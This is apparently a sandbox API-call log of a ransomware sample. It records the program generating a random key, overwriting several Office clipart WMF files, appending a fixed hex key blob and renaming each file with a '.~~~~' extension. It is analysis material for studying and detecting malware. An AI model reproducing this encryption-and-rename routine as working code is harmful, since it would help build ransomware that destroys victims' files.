	[0091.736] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.736] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.736] CloseHandle (hObject=0x124) returned 1
	[0091.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.~~~~")) returned 1
	[0091.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.815] GetLastError () returned 0x0
	[0091.885] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.901] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.901] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.901] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21189161029) returned 1
	[0091.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0903770, dwHighDateTime=0x1d60e1e)) 
	[0091.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a93e8
	[0091.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93e8 | out: hHeap=0x300000) returned 1
	[0091.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3894a8
	[0091.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.916] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.916] GetLastError () returned 0x0
	[0091.916] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.916] GetLastError () returned 0x0
	[0091.921] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe95a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.922] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x16a6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x16a6, lpOverlapped=0x0) returned 1
	[0091.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.922] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.922] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.923] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.923] CloseHandle (hObject=0x138) returned 1
	[0091.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.~~~~")) returned 1
	[0091.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.924] GetLastError () returned 0x0
	[0091.924] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.925] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.925] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.926] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21191577583) returned 1
	[0091.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa09298d0, dwHighDateTime=0x1d60e1e)) 
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9538
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388e20
	[0091.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.926] GetLastError () returned 0x0
	[0091.927] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.927] GetLastError () returned 0x0
	[0091.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe446, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.929] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1bba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1bba, lpOverlapped=0x0) returned 1
	[0091.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.929] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.930] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.930] CloseHandle (hObject=0x138) returned 1
	[0091.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.~~~~")) returned 1
	[0091.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.931] GetLastError () returned 0x0
	[0091.932] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.933] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.933] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.933] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21192313351) returned 1
	[0091.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa09298d0, dwHighDateTime=0x1d60e1e)) 
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9570
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9570 | out: hHeap=0x300000) returned 1
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3895d8
	[0091.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.934] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.934] GetLastError () returned 0x0
	[0091.934] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.934] GetLastError () returned 0x0
	[0091.941] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff4e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.941] WriteFile (in: hFile=0x138, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0xb20, lpOverlapped=0x0) returned 1
	[0091.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.943] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.943] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.943] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.943] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.944] CloseHandle (hObject=0x138) returned 1
	[0091.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.945] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.~~~~")) returned 1
	[0091.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.947] GetLastError () returned 0x0
	[0091.947] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.948] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.948] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.948] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21193862045) returned 1
	[0091.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa094fa30, dwHighDateTime=0x1d60e1e)) 
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387568
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387568 | out: hHeap=0x300000) returned 1
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389670
	[0091.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.949] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.949] GetLastError () returned 0x0
	[0091.949] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.950] GetLastError () returned 0x0
	[0091.953] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff53c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.953] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xac4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0xac4, lpOverlapped=0x0) returned 1
	[0091.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.957] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.957] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.957] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.957] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.957] CloseHandle (hObject=0x124) returned 1
	[0091.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.~~~~")) returned 1
	[0091.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.959] GetLastError () returned 0x0
	[0091.959] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.960] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.960] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.960] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21195019870) returned 1
	[0091.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0975b90, dwHighDateTime=0x1d60e1e)) 
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3875a0
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3875a0 | out: hHeap=0x300000) returned 1
	[0091.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3897a0
	[0091.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.961] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.961] GetLastError () returned 0x0
	[0091.961] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.961] GetLastError () returned 0x0
	[0091.966] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffb0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.966] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x4f4, lpOverlapped=0x0) returned 1
	[0091.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
